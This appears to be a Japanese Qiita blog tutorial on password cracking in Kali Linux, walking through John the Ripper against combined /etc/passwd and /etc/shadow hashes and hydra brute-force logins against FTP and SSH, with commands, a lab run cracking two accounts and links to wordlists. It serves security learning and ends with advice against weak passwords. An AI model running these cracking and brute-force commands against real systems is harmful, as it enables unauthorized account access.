LoginSignup
41
59

More than 3 years have passed since last update.

Kali LinuxでJohn The Ripper,hydraによるパスワード解析

Last updated at Posted at 2019-08-06

Kali LinuxでJohn The Ripperやhydraを使いパスワード解析を実施します。

John The Ripperはパスワード解析というよりはハッシュの解析と言ったほうがよいかもしれません。
これで解析できるということは安全なパスワードでないということで、
簡単なパスワードを設定している人がいないか確認することもできます。
hydraはターゲットサーバの外からでも簡単にパスワード解析ができるツールです。

 John The RipperやhydraはKali Linuxではデフォルトで用意されています。
またこういったものを悪用すると辞書式攻撃、ブルートフォース攻撃となるので法に触れます。使用は自己責任としてください。

前提

Kali Linux実行環境があること。
Virtual BoxにKali Linuxインストール

関連

・John the Ripper password cracker
・THC-hydra

John The Ripperを使ったパスワード解析

shadowファイルやpasswdファイルに含まれる暗号化されたパスワードを元に、 生のパスワードを推測てみます。

ハッシュファイルの準備

※以下Kali Linuxでrootユーザでの作業です。
unshadowというコマンドでパスワードファイルとシャドウパスワードファイルを結合します

root@kali:~# unshadow /etc/passwd /etc/shadow > hash.txt

実行

まず簡単に実行してみます。

root@kali:~# john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Proceeding with single, rules:Wordlist
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8
needed for performance.
toor             (root)
1g 0:00:00:00 DONE 1/3 (YYYY-MM-DD 11:10) 25.00g/s 250.0p/s 250.0c/s 250.0C/s rootroot..RootRoot
Use the "--show" option to display all of the cracked passwords reliably
Session completed

解析に成功すると、パスワード (ユーザ名)の形式で表示されます。

Kali Linuxのrootパスワードがデフォルトのままでしたので、簡単に解析されてしまいました。

解析結果を表示するコマンドを叩いてみます。

root@kali:~# john hash.txt --show
root:toor:0:0:root:/root:/bin/bash

1 password hash cracked, 0 left

hash.txtの情報で1つのパスワードハッシュが解析できて、残りのハッシュは0だということです。

ちなみに以下のパスワードでも即解析できました。
root(ユーザ名と同じ)
root1234
12345678

ではパスワードをP@sswordに変更して実施してみましょう。
root@kali:~# john hash.txt

root@kali:~# john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])

… 途中省略

Almost done: Processing the remaining buffered candidate passwords, if any
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist

こう表示されたままパスワードを探し続けるので、Ctrl + Cで一旦止めます。
最後の行にもありますが、Kali Linuxのjohnはデフォルトで、/usr/share/john/password.lst
というパスワードの候補となるリストを元にパスワードを推測しています(言ったら辞書式攻撃の辞書ファイル)。
ちょっと中身を見てみると↓のようになっています。

root@kali:~# tail /usr/share/john/password.lst
1701d
@#$%^&
Qwert
allo
dirk
go
newcourt
nite
notused
sss

この辞書の中身をどのように用意するかが解析の鍵となります。

試しに自分でリストを用意してみます。

root@kali:~# echo "P@ssword" > password.lst

では --wordlist= のオプションでで辞書のディレクトリを指定して実行してみます。

root@kali:~# john --wordlist=./password.lst hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssword         (root)
1g 0:00:00:06 DONE (YYYY-MM-DD HH:MM) 0.1666g/s 725.3p/s 725.3c/s 725.3C/s 
Use the "--show" option to display all of the cracked passwords reliably
Session completed

辞書ファイルはネット上にたくさん上がっています。
・よく使われるパスワードの辞書ファイル
https://download.openwall.net/pub/wordlists/passwords/
・日本用のパスワードリスト(suzukiのような名前も)
http://download.openwall.net/pub/wordlists/languages/Japanese
・ブルートフォースに有効なパスワードリスト
https://github.com/berzerk0/Probable-Wordlists
リンク内にあるlower.gzとpassword.gzをダウンロードしてgunzipすれば使用できます。

 またJohn The Ripperはオプションで、--format=でハッシュの種類を指定したり、色んな使い方ができます。以下がオプションです。プロセス数を指定したりユーザを絞って実行もできます。


root@kali:~# john --help
John the Ripper 1.8.0.13-jumbo-1-bleeding-973a245b96 YYYY-MM-DD HH:MM:SS +0100 [linux-gnu 64-bit x86_64 AVX2 AC]
Copyright (c) 1996-2018 by Solar Designer and others
Homepage: http://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]
--single[=SECTION[,..]]    "single crack" mode, using default or named rules
--single=:rule[,..]        same, using "immediate" rule(s)
--wordlist[=FILE] --stdin  wordlist mode, read words from FILE or stdin
                  --pipe   like --stdin, but bulk reads, and allows rules
--loopback[=FILE]          like --wordlist, but extract words from a .pot file
--dupe-suppression         suppress all dupes in wordlist (and force preload)
--prince[=FILE]            PRINCE mode, read words from FILE
--encoding=NAME            input encoding (eg. UTF-8, ISO-8859-1). See also
                           doc/ENCODINGS and --list=hidden-options.
--rules[=SECTION[,..]]     enable word mangling rules (for wordlist or PRINCE
                           modes), using default or named rules
--rules=:rule[;..]]        same, using "immediate" rule(s)
--rules-stack=SECTION[,..] stacked rules, applied after regular rules or to
                           modes that otherwise don't support rules
--rules-stack=:rule[;..]   same, using "immediate" rule(s)
--incremental[=MODE]       "incremental" mode [using section MODE]
--mask[=MASK]              mask mode using MASK (or default from john.conf)
--markov[=OPTIONS]         "Markov" mode (see doc/MARKOV)
--external=MODE            external mode or word filter
--subsets[=CHARSET]        "subsets" mode (see doc/SUBSETS)
--stdout[=LENGTH]          just output candidate passwords [cut at LENGTH]
--restore[=NAME]           restore an interrupted session [called NAME]
--session=NAME             give a new session the NAME
--status[=NAME]            print status of a session [called NAME]
--make-charset=FILE        make a charset file. It will be overwritten
--show[=left]              show cracked passwords [if =left, then uncracked]
--test[=TIME]              run tests and benchmarks for TIME seconds each
--users=[-]LOGIN|UID[,..]  [do not] load this (these) user(s) only
--groups=[-]GID[,..]       load users [not] of this (these) group(s) only
--shells=[-]SHELL[,..]     load users with[out] this (these) shell(s) only
--salts=[-]COUNT[:MAX]     load salts with[out] COUNT [to MAX] hashes
--costs=[-]C[:M][,...]     load salts with[out] cost value Cn [to Mn]. For
                           tunable cost parameters, see doc/OPTIONS
--save-memory=LEVEL        enable memory saving, at LEVEL 1..3
--node=MIN[-MAX]/TOTAL     this node's number range out of TOTAL count
--fork=N                   fork N processes
--pot=NAME                 pot file to use
--list=WHAT                list capabilities, see --list=help or doc/OPTIONS
--format=NAME              force hash of type NAME. The supported formats can
                           be seen with --list=formats and --list=subformats

hydraを使ったパスワード解析

hydraもパスワード解析ツールですが、ターゲットサーバの外から実行できます。

以下例を示しています。
※user.lstにユーザのリストファイル、pass.lstにパスワードリストファイルを用意します。

FTPユーザを解析

user.lstを作成
pass.lstを作成 最後は空行を入力
hydra -L user.lst -P pass.lst -t 16 ターゲットIP ftp
hydra -L user.lst -P pass.lst -t 8 ターゲットIP ftp
※-t は並列処理のタスク数宇

SSHアカウントを解析

hydra -L user.lst -P pass.lst -t 4 ターゲットIP ssh
hydra -L user.lst -P pass.lst -t 4 ターゲットIP ssh
sshは並列処理のタスクが多いと警告がでるので4に
hydra -L user.lst -P pass.lst -t 4 ssh://ターゲットIP:22
これでもOKです。ポート指定ができます。

実施例

※172.20.10.5がターゲットの場合。
※sysmgrユーザに sysmgr というパスワード。testユーザに 1234 というパスワードを設定しています。

root@kali:~# hydra -L user.lst -P pass.lst -t 4 172.20.10.5 ssh
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at YYYY-MM-DD HH:MM:SS
[DATA] max 4 tasks per 1 server, overall 4 tasks, 15 login tries (l:5/p:3), ~4 tries per task
[DATA] attacking ssh://172.20.10.5:22/
[22][ssh] host: 172.20.10.5   login: sysmgr   password: sysmgr
[22][ssh] host: 172.20.10.5   login: test   password: 1234
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at YYYY-MM-DD HH:MM:SS

辞書式攻撃に対する対策について

これらを悪用したアタックが実際にあることも確かです。
8文字以内で規則性のあるパスワードであればあればそこそこの時間で解析できるとも言われています。
そうすると「パスワードは暗号化されているから大丈夫」というのは厳しいかなと思います。
そもそも漏洩しないような対策をすることはもちろんですが、脆弱なパスワードを使わないことです。

関連記事

・Kali LinuxのMetasploitで脆弱性を突きサーバを遠隔操作
・Kali LinuxでDVWAを使いSQLインジェクション体験
・Kali Linuxを使いMACアドレスを偽装
・Kali LinuxでWebクローニングを使いログイン情報取得

41
59
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
41
59